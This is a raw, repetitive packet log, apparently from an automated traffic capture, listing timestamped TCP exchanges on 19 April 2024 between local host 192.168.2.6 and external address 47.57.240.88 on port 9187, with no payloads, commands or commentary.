Apr 19, 2024 01:33:43.158756018 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.158767939 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.158778906 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.158785105 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:43.158790112 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.158803940 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.158806086 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:43.158843994 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:43.358026981 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.358052015 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.358073950 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.358086109 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.358099937 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.358117104 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.358134031 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.358164072 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:43.358164072 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.358181953 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.358196020 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.358208895 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.358217001 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:43.358221054 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.358232021 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:43.358233929 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.358272076 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:43.411686897 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:43.559055090 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.559073925 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.559083939 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.559094906 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.559107065 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.559118032 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:43.559120893 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.559133053 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.559144974 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.559154987 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.559165001 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:43.559165955 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.559178114 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.559185028 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:43.559194088 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.559206963 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.559216022 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:43.559245110 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:43.758455038 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.758471966 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.758482933 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.758493900 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.758506060 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.758517027 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.758529902 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.758539915 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:43.758542061 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.758554935 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.758565903 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.758578062 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.758585930 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:43.758589029 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.758601904 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.758609056 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:43.758622885 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:43.802311897 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:43.959292889 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.959311008 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.959321976 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.959332943 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.959342957 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.959353924 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.959366083 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.959376097 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.959377050 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:43.959388971 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.959400892 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.959414959 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.959419966 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:43.959427118 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.959438086 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.959438086 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:43.959455013 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:44.005440950 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:44.159441948 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:44.159482956 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:44.159496069 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:44.159507990 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:44.159521103 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:44.159532070 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:44.159544945 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:44.159548044 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:44.159557104 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:44.159568071 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:44.159579992 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:44.159590006 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:44.159591913 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:44.159604073 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:44.159610033 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:44.159615993 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:44.159626007 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:44.159643888 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:44.208554029 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:44.359287977 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:44.359302044 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:44.359311104 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:44.359322071 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:44.359349012 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:44.359350920 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:44.359368086 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:44.359380960 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:44.359392881 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:44.359395981 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:44.359405041 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:44.359415054 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:44.359416008 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:44.359427929 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:44.359433889 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:44.359468937 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:44.526151896 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:44.526170969 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:44.526181936 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:44.526194096 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:44.526206017 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:44.526217937 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:44.526227951 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:44.526238918 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:44.526248932 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:44.526261091 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:44.526271105 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:44.526278019 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:44.526281118 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:44.526293039 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:44.526326895 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:44.567950010 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:44.725020885 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:44.725035906 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:44.725044966 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:44.725111008 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:44.725301027 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:45.042500973 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.042714119 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.042794943 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.042833090 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.042872906 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.042912006 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.042948961 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.042962074 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:45.042962074 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:45.042962074 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:45.042989016 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.043029070 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.043036938 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:45.043067932 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.043106079 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.043143034 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.043149948 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:45.043181896 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.043188095 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:45.083592892 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:45.242358923 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.242417097 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.242456913 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.242480040 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:45.242497921 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.242537022 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.242573977 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.242577076 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:45.242613077 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.242619038 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:45.242651939 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.242716074 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.242757082 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.242760897 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:45.242795944 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.242798090 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:45.242834091 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.242872953 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.242921114 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:45.442411900 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.442466974 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.442581892 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:45.442598104 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.442641020 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.442684889 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:45.442694902 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.442718029 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.442734003 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.442749023 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.442766905 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:45.442792892 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.442797899 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:45.442831039 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.442869902 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.442882061 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:45.442894936 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.442914009 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.442939043 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:45.489876986 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:45.642395020 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.642412901 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.642422915 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.642433882 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.642446995 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.642457962 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.642465115 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:45.642469883 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.642482042 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.642494917 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.642501116 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:45.642508984 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.642518997 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:45.642522097 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.642534971 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.642545938 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.642554998 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:45.642580032 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:45.842243910 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.842303038 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.842318058 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.842329979 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.842344046 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.842350960 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:45.842356920 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.842370987 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.842377901 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:45.842386961 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.842401028 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.842406034 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:45.842412949 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.842425108 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:45.842427015 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.842438936 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.842452049 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:45.842452049 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:45.842478037 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:45.896044970 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:46.042179108 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.042197943 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.042210102 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.042221069 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.042243004 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.042253017 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.042264938 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.042263985 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:46.042278051 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.042289019 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.042303085 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.042304993 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:46.042316914 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.042320013 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:46.042330027 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.042345047 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.042356014 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:46.042380095 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:46.242500067 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.242544889 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.242558002 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.242569923 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.242583990 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.242597103 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.242609978 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.242623091 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.242624998 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:46.242635965 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.242649078 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.242660999 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.242660999 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:46.242679119 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:46.242714882 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:46.286698103 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:46.408205032 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.408222914 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.408233881 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.408243895 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.408257008 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.408267021 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.408277988 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.408288002 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.408298016 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.408310890 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.408320904 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.408332109 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.408333063 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:46.408341885 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.408391953 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:46.458559036 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:46.608989000 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.609009027 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.609019041 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.609193087 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:46.609368086 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:46.926414967 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.926431894 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.926441908 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.926453114 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.926465988 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.926476955 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.926486969 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:46.926502943 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:46.926542044 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:47.026029110 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:47.026048899 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:47.026155949 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:47.026313066 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:47.026335001 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:47.026344061 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:47.026355982 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:47.026366949 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:47.026377916 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:47.026388884 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:47.026391983 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:47.026405096 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:47.026412010 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:47.026416063 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:47.026423931 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:47.026428938 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:47.026442051 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:47.026443958 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:47.026504040 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:47.226378918 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:47.226397038 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:47.226408005 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:47.226421118 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:47.226435900 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:47.226447105 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:47.226458073 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:47.226469040 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:47.226479053 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:47.226492882 CEST	9187	49737	47.57.240.88	192.168.2.6
